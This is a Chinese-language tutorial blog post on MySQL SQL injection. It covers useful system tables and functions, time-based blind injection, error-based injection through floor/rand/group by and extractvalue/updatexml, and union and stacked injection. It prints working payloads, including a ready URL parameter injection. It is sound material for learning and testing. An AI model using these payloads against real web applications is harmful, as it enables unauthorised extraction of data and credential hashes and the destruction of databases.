MySQL 注入指北

接触 MySQL 注入的时间也很久了。刚开始接触的时候总是能见到各种各样的 payload,不但琐碎而且不成体系。我在不断收集的过程中发现实际上很多技巧都是根据语法来的。即如果知道基本语法,那么对注入的 payload 也就能了然于胸。

MySQL 语法

基础语法

我花了一点时间看了一下 MySQL 的语法,并绘制了一个导图:

这个图怎么看呢?首先,语法为从上到下。

简化之前的导图为 MySQL 所有的语法。其实在注入的过程中用不着这么详细,看看就好,有需要再查也不迟。简化的版本则为 MySQL 注入中常见的语法。

颜色表示:红色代表一定不能省略,橙色代表部分情况下能省略,灰色代表总是可以省略。红色与灰色好懂,橙色是个啥呢?拿 GROUP BY 为例,意思指的是,假如我们选了 GROUP BY,那么一定要对 col_nameexprposition 进行三选一。根据从上到下的顺序,接下来是 ASCDESC 二选一,可选可不选。如果我们没使用 GROUP BY,那么就不需要进行三选一,因为流程没到这里。总结起来就是,如果下一步中存在橙色的语法,就一定要用到。

细节

  1. group by:select + group by 的时候,是先 group by,再从 group by 里 select。所以 select 的列一定要在 group by 里存在。
  2. 语句执行成功返回值有2种情况,第一种本身返回数字的,就为数字,即:select (select database()); 的返回值为 1;否则,执行成功为 0,反之为 1。即:select (select database()); 的返回值为 0

助攻数据库

系统自带的数据库能给我们提供很多的信息。

information_schema

information_schema 提供了访问数据库元数据的方式。什么是元数据呢?就是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

有用的表如下:

  • SCHEMATA:提供了当前 mysql 实例中所有数据库的信息。'show databases;的结果就是从这个表的SCHEMA_NAME` 字段来的。
  • TABLES:详细记载了所有的表的名字,以及哪个表属于哪个 schema、表的类型、表的引擎、创建时间等等信息。show tables 的结果就是从这个表的 TABLE_NAME 字段来的。

mysql

mysql 数据库是 mysql 的核心数据库,,主要负责存储数据库的用户、权限设置、关键字等 mysql 自己需要使用的控制和管理信息。

有用的表如下:

  • user:user 表中记录了用户信息,包括用户可登陆的 ip(host 字段)、用户名(User 字段)、密码 hash(authentication_string 字段)、是否有读取文件的权限(file_priv 字段)等等。注意,对于 mysql 5.7 以上的版本,密码的 hash 字段不再是 Password,而是 authentication_string

助攻变量

MySQL 自带的变量的特征就是开头 @@

  1. @@basedir:MySQL 的安装路径
  2. @@datadir: MySQL 的数据库文件,即数据文件路径
  3. @@version_compile_os:操作系统
  4. @@version:数据库版本

助攻函数

这些函数在注入的过程中能帮助我们不少忙。参数通常可以为 sql 语句(要加括号)

特殊函数

  • user():当前连接的数据库用户
  • version():数据库版本

字符串相关函数

  • mid:
    • 截取字符串的一部分
    • mid(string, start[, length])
      • string:字符串,
      • start:起始位置,起始位置为 1
      • length:截取长度
  • substr:
    • 截取字符串的一部分
    • substr(string, start, length)
      • string:字符串
      • start:起始位置,起始位置为 1
      • length:截取长度
  • substring:同 substr

以上函数的参数均可以用 from start for end 代替,如:

1
2
3
4
5
6
7
mysql> select substring('abc' from 2 for 1); # 从 'abc' 的第二个字符开始截取,截取长度为 1
+-------------------------------+
| substring('abc' from 2 for 1) |
+-------------------------------+
| b |
+-------------------------------+
1 row in set (0.00 sec)

  • hex:将数字/字符串转为十六进制。特别是字符串,防止有特殊字符导致出现各种奇怪的问题。
  • unhex:将十六进制转为字符串。注意,结果会直接转为对应的 acii 码,例如 unhex(6D7973716C) 的结果是 mysql 而不是 470189044076
  • length:
    • 返回字符串长度
    • length(string)
      • string:字符串
  • left:
    • 获取字符串左边数起指定个数的字符
    • left(string, n)
      • string:要截取的字符串
      • n:长度
  • ord:
    • 获取字符的 ASCII 码
    • ord(char)
      • char:字符/字符串(如果是字符串,则取它的第一个字符)
  • ascii:同 ord
  • char:
    • 将 ASCII 码转为字符
    • char(a[, ...])
      • a:数字;后面可以加多个 ASCII 码,即构成字符串。
  • regexp:
    • 正则匹配,匹配到返回 1,反之为 0
    • string1 regexp string2
      • string1:匹配的字符串
      • string2:正则表达式
  • concat:
    • 连接(多个)字符串(数字),返回字符串。如果有任何一个参数为 null,则返回值为 null
    • concat(string[, ...])
      • string:任意值
  • concat_ws
    • 和 concat 类似,将多个字符串连接成一个字符串,但是可以指定连接符。如果有任何一个参数为 null,对返回值无影响
    • concat_ws(sep, string[, ...])
      • sep:连接符
      • string:任意值
  • group_concat
    • 将 group by 产生的同一个分组中的值连接起来,成为一个字符串并返回
    • group_concat([distinct] colname [order by colname asc/desc ][separator sep])
      • distinct:去重
      • colname:列名
      • sep:分隔符

延时函数

  • sleep:
    • 延迟
    • sleep(sec)
      • sec:秒
  • banchmark:
    • 重复执行函数,较占用 cpu
    • banchmark(count, func)
      • count:执行的次数
      • func:函数

另外,利用 带外通道 发起网络请求,也有可能造成时延。不过 MySQL 的带外通道只能在 Windows 下利用 LOAD_FILE 完成。

数学函数

  • log
  • exp
    ...

聚合函数

  • count
  • sum
  • ...

其他函数

  • greatest:
    • 返回 a, b 中最大的值
    • greatest(a, b)
      • a、b:任意值
  • rand:
    • 返回 0~1 之间随机的浮点值
    • rand(a)
      • a:可选参数;随机数种子;可为任意值
  • load_file
    • 读取文件内容
    • load_file(path)
      • path:文件路径,一般转为 16 进制防止特殊字符出问题
  • extractvalue
    • 对 XML 文档进行查询
    • extractvalue(xmlfile,path)
      • xmlfile:xml 文件
      • path:xpath
  • updatexml
    • 更新 xml
    • updatexml(xmlfile,path, content)
      • xmlfile:xml 文件
      • path:xpath
      • content:更新的内容

注入类型

到此为止,我们基本上复习了一下 MySQL 注入相关的知识,接下来看看有哪些类型的注入。

常规注入

注入后直接回显结果

盲注

类型

  • 布尔
  • 时间
  • 其他(报错、响应代码等等)

盲注就是在 sql 注入过程中,数据无回显。此时,我们需要利用一些方法进行判断注入是否成功,这个方法称之为盲注。

盲注实际上是根据执行成功与失败的现象不同,导致攻击者能够获取到信息。最简单的是布尔型的,通过比较运算符来获得信息,比较结果要么是 True,要么是 False,两种返回的数据不同。那么如果不管是 True 还是 False,页面返回的都一样的话,就只能用基于时间的盲注,加入特定的时间函数,通过时间差来判断注入的语句是否正确。

从上面可以看出,只要注入成功与失败的返回数据不同,我们就可以获取到数据库的信息。至于返回的数据到底怎么个不同法,则有很多种可能。

利用方式

  1. 基于布尔
    利用字符串相关的函数,逐个字符猜解需要的信息即可

  2. 基于时间

    • 利用 ifcase等与时延函数搭配,逐个字符猜解需要的信息
    • 利用字符串提前与定位将字符转为数字
      1
      2
      3
      4
      5
      select * from users where user='' or sleep(locate(substr(user(), 1, 1), 'a'));
      select * from users where user='' or sleep(locate(substr(user(), 1, 1), 'b'));
      ...
      select * from users where user='' or sleep(locate(substr(user(), 1, 1), 'r'));
      # 出现时延,代表第一个字符为 r

      同理可以获取所有位数。此法无需 if 等条件语句。
      同样还可以:
      1
      2
      3
      4
      5
      select * from users where user='' or sleep(replace(substr(user(), 1, 1), 'a', 1));
      select * from users where user='' or sleep(replace(substr(user(), 1, 1), 'b', 1));
      ...
      select * from users where user='' or sleep(replace(substr(user(), 1, 1), 'r', 1));
      # 出现时延,代表第一个字符为 r

      判断长度也可以这样:
      1
      2
      3
      4
      5
      select * from users where user='' or sleep(length(user())-1);
      select * from users where user='' or sleep(length(user())-2);
      ...
      select * from users where user='' or sleep(length(user())-14);
      # 没有时延说明长度为 14

报错注入

利用 MySQL 的一些特殊语法触发错误,错误中常常带着一些数据库信息,从而造成信息泄露,达到注入的目的。以下是几个常见的 payload:

floor + rand + count + group by 组合拳

先说 group by。当 group by 与聚合函数(这里是 count)一起使用的时候,MySQL 会为查询结果建立一个虚拟的表。这个表你可以按照 Python 的里的字典理解:

1
2
tmp_table = {
}

与字典类似,这个临时的表不能创建相同的键,出现了就报错;如果出现相同的值,则累加。举例:
假如查出了一个新的值 a,那么 MySQL 先找一下临时表中有没有这个 a 键,有的话更新对于的值;否则创建一个新的键。如果创建新的键的时候发现已经存在这个键了,则会报错。那么问题来了,创建键的之前明明有对键的存在进行判断,为什么创建的时候还会出现存在呢?因为判断的时候 MySQL 会进行一次查询,而创建的时候又会查一下,相当于重复查了 2 次。又因为 rand 函数每次运行的结果不同,便导致了判断与创建的键会不一致的情况。

当然,0~1 之间的随机浮点数结果太多了,需要限制一下来提高几率,这就是 floor(rand()*2) 的作用,将随机结果限制为2种,要么 0 要么 1。
举例说明,当 group by + floor(rand(0)*2) 的时候:

1
2
3
4
5
6
7
8
9
10
11
mysql> select floor(rand(0)*2) from information_schema.tables limit 0, 5;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
5 rows in set (0.00 sec)

结果解释:

  1. 第一次查询,随机数为 0,group by 拿到键 0,判断键 0 不在临时表后,尝试新建键,这时消耗了一个随机数 1,所以这个时候实际上新建的键的是 1。
  2. 第二次查询,随机数为 1,group by 拿到键 1,判断键 1 在临时表后,更新键 1 对应的值。
  3. 第三次查询,随机数为 0,group by 拿到键 0,判断键 0 不在临时表后,尝试新建键,这时消耗了一个随机数 1,所以这个时候实际上新建的键的是 1,但是键 1已经存在,所以 MySQL 报错:ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

验证如下:

1
2
3
4
5
6
7
8
9
10
11
12
mysql> select * from users;
+------+----------+----------+
| id | user | password |
+------+----------+----------+
| 1 | admin | admin |
| 2 | root | password |
| 3 | username | 123456 |
+------+----------+----------+
3 rows in set (0.00 sec)

mysql> select count(*) from users group by (floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'

实际上,group by 的次数与列数密切相关,也就是说,如果将 users 表改为 2列,则不会报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select * from users;
+------+-------+----------+
| id | user | password |
+------+-------+----------+
| 1 | admin | admin |
| 2 | root | password |
+------+-------+----------+
2 rows in set (0.00 sec)

mysql> select count(*) from users group by (floor(rand(0)*2));
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

剩下的,就是怎么利用报错将需要的数据带出来。报错中的 1 实际上就是 floor(rand(0)*2) 的结果,所以只需要将数据与 floor(rand(0)*2) 连接起来就可以带出来了:

1
2
mysql> select count(*) from users group by concat((floor(rand(0)*2)), "~",version());
ERROR 1062 (23000): Duplicate entry '1~5.7.24' for key '<group_key>'

实战示例:

1
?id=1 or 1 group by concat((floor(rand(0)*2)), "~", version()) -- #

version() 也可以为 ( select 语句 )

bigint

版本需要比较低才能用。
bigint 报错注入见:https://www.tr0y.wang/2018/06/18/MySQL的BIGINT报错注入/

xml

利用 xml 的 xpath 语法错误来报错。

extractvalue: extractvalue 在查不到数据的时候返回空,xpath 语法错误的时候则会报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select extractvalue('123', '/');
+--------------------------+
| extractvalue('123', '/') |
+--------------------------+
| 123 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select extractvalue('123', '/a');
+---------------------------+
| extractvalue('123', '/a') |
+---------------------------+
| |
+---------------------------+
1 row in set (0.00 sec)

mysql> select extractvalue('123', '~');
ERROR 1105 (HY000): XPATH syntax error: '~'
mysql>

updatexml:与 extractvalue 类似。

注意,这两种报错注入,能够提取的最长字符串为 32 个字符:

1
2
3
4
mysql> select extractvalue('123', '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');
ERROR 1105 (HY000): XPATH syntax error: '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'
mysql> select updatexml('123', '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~', '1');
ERROR 1105 (HY000): XPATH syntax error: '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'

实战示例:

1
2
mysql> select * from users where id=1 and extractvalue('', concat('~', database(), '~'));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

1
2
mysql> select * from users where id=1 and updatexml('', concat('~', database(), '~'), ''); 
ERROR 1105 (HY000): XPATH syntax error: '~test~'

其他函数

上面这几个仅仅是比较常见的函数,实际上还有很多不常见的,见这篇博文:

Mysql 报错注入函数 fuzz

联合注入

利用 union 来拼接 select 语句。主要是判断列数。

堆叠注入

MySQL 语句中的 ; 代表一个语句结束。如果 ; 之后的语句也能执行,那么就可以拼接任意语句,包括drop database

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也是有可能的。

零碎的技巧记录

传送门🚪

相关文章

MySQL 的 BIGINT 报错注入

来呀快活呀


MySQL 注入指北
https://www.tr0y.wang/2019/03/25/MySQL注入指北/
作者
Tr0y
发布于
2019年3月25日
更新于
2024年4月19日
许可协议